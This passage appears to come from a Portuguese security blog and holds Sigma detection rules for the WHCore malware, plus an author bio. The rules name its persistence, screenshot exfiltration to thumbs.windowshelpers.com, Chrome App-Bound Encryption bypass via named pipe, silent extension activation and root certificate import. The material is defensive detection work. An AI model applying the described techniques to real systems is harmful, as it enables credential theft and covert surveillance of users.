Persistencia do loader: valor Run (nome polimorfico, ex. DeltaAspenb760) que aponta para
%LOCALAPPDATA%\<Word><Word><hex4>\<Word><Word><hex4>.exe. Confirmado em laboratorio (4.8.6).
author: SI-LAB - https://seguranca-informatica.pt
date: 2026-11-04
tags:
- attack.persistence
- attack.t1547.001
- attack.defense_evasion
logsource:
category: registry_set
product: windows
detection:
selection:
TargetObject|contains: '\CurrentVersion\Run\'
Details|re: '(?i)\\AppData\\Local\\(Amber|Aspen|Atlas|Basil|Beacon|Birch|Brook|Cedar|Cliff|Clover|Cobalt|Comet|Coral|Creek|Crystal|Cypress|Delta|Dune|Ember|Falcon|Fern|Flint|Forest|Garnet|Glacier|Harbor|Hazel|Heron|Holly|Island|Ivory|Jasper|Juniper|Kelp|Lagoon|Laurel|Lily|Linden|Lotus|Maple|Marble|Meadow|Mesa|Mistral|North|Oak|Onyx|Opal|Orchid|Otter|Pebble|Pine|Quartz|River|Rowan|Sage|Silver|Solstice|Spruce|Summit|Timber|Topaz|Tulip|Willow){2}[0-9a-f]{4}\\[A-Za-z]+[0-9a-f]{4}\.exe'
condition: selection
falsepositives:
- Improvável
level: high
Victim Screenshot Upload To thumbs windowshelpers (Cloudflare R2)
title: WHCore - Victim Screenshot Upload To thumbs windowshelpers (Cloudflare R2)
id: 8f2a4c6e-1b3d-4e5a-9c7b-0d1e2f3a4b13
status: experimental
description: Agente envia capturas do ecra para thumbs.windowshelpers.com (/upload/refs/...) em Cloudflare R2 com URL pre-assinada (4.8.4)
author: SI-LAB - https://seguranca-informatica.pt
date: 2026-11-04
tags:
- attack.collection
- attack.t1113
- attack.exfiltration
- attack.t1041
logsource:
category: proxy
detection:
selection:
c-uri|contains: 'thumbs.windowshelpers.com'
selection_path:
c-uri|contains:
- '/upload/refs/'
- '/t/refs/'
condition: selection or selection_path
falsepositives:
- Nenhum
level: high
Chromium Browser Started Only With –no-startup-window By Non-Browser Parent (ABE Helper)
title: WHCore - Chromium Browser Started Only With --no-startup-window By Non-Browser Parent (ABE Helper)
id: 3c5e7a9b-1d2f-4a6c-8e0b-2f4a6c8e0b14
status: experimental
description: O core lanca chrome/msedge/brave suspenso com apenas --no-startup-window para mapear o helper de bypass da App-Bound Encryption (chrome_key)
author: SI-LAB - https://seguranca-informatica.pt
date: 2026-11-04
tags:
- attack.credential_access
- attack.t1555.003
- attack.defense_evasion
- attack.t1055
logsource:
category: process_creation
product: windows
detection:
selection_img:
Image|endswith:
- '\chrome.exe'
- '\msedge.exe'
- '\brave.exe'
selection_cmd:
CommandLine|endswith: ' --no-startup-window'
filter_parent:
ParentImage|endswith:
- '\explorer.exe'
- '\chrome.exe'
- '\msedge.exe'
- '\brave.exe'
- '\elevation_service.exe'
condition: selection_img and selection_cmd and not filter_parent
falsepositives:
- Ferramentas legitimas de arranque do browser em segundo plano (raro)
level: high
Named Pipe ckh_ Used By Chrome App-Bound Encryption Helper
title: WHCore - Named Pipe ckh_ Used By Chrome App-Bound Encryption Helper
id: 5e7a9c1d-3f4b-4c8e-0a2d-4f6b8d0a2c15
status: experimental
description: Pipe \\.\pipe\ckh_<pid>_<ms> criado pelo core para receber a chave App-Bound do helper injetado no chrome.exe
author: SI-LAB - https://seguranca-informatica.pt
date: 2026-11-04
tags:
- attack.credential_access
- attack.t1555.003
logsource:
category: pipe_created
product: windows
detection:
selection:
PipeName|startswith: '\ckh_'
condition: selection
falsepositives:
- Nenhum conhecido
level: high
Secure Preferences Written By Non-Browser Process
title: WHCore - Secure Preferences Written By Non-Browser Process
id: 7a9c1e3f-5b6d-4e0a-2c4f-6b8d0a2c4e16
status: experimental
description: O core reescreve Secure Preferences (HMAC recalculados) para ativar a extensao bneiakhcpdbpeclipnlkdeloomegfkoe sem aviso
author: SI-LAB - https://seguranca-informatica.pt
date: 2026-11-04
tags:
- attack.persistence
- attack.t1176
logsource:
category: file_event
product: windows
detection:
selection:
TargetFilename|endswith: '\Secure Preferences'
TargetFilename|contains: '\User Data\'
filter_browser:
Image|endswith:
- '\chrome.exe'
- '\msedge.exe'
- '\brave.exe'
- '\opera.exe'
- '\vivaldi.exe'
condition: selection and not filter_browser
falsepositives:
- Ferramentas de gestao/migracao de perfis de browser
level: high
Root Certificate Imported Into CurrentUser Store Via Certutil Or PowerShell
title: WHCore - Root Certificate Imported Into CurrentUser Store Via Certutil Or PowerShell
id: 9c1e3a5b-7d8f-4a2c-4e6b-8d0a2c4e6a17
status: experimental
description: Comando do core para importar um PFX para Cert:\CurrentUser\Root (password fixa 123456)
author: SI-LAB - https://seguranca-informatica.pt
date: 2026-11-04
tags:
- attack.defense_evasion
- attack.t1553.004
logsource:
category: process_creation
product: windows
detection:
selection_certutil:
Image|endswith: '\certutil.exe'
CommandLine|contains|all:
- '-user'
- '-importpfx'
- 'Root'
selection_ps:
CommandLine|contains|all:
- 'Import-PfxCertificate'
- 'CurrentUser\Root'
condition: selection_certutil or selection_ps
falsepositives:
- Instalacao manual de certificados raiz por administradores
level: high

Pedro Tavares is a professional in the field of information security working as an Ethical Hacker/Pentester, Malware Researcher and also a Security Evangelist. He is also a founding member at CSIRT.UBI and Editor-in-Chief of the security computer blog seguranca-informatica.pt.
In recent years he has invested in the field of information security, exploring and analyzing a wide range of topics, such as pentesting (Kali Linux), malware, exploitation, hacking, IoT and security in Active Directory networks. He is also Freelance Writer (Infosec. Resources Institute and Cyber Defense Magazine) and developer of the 0xSI_f33d – a feed that compiles phishing and malware campaigns targeting Portuguese citizens.
Read more here.
































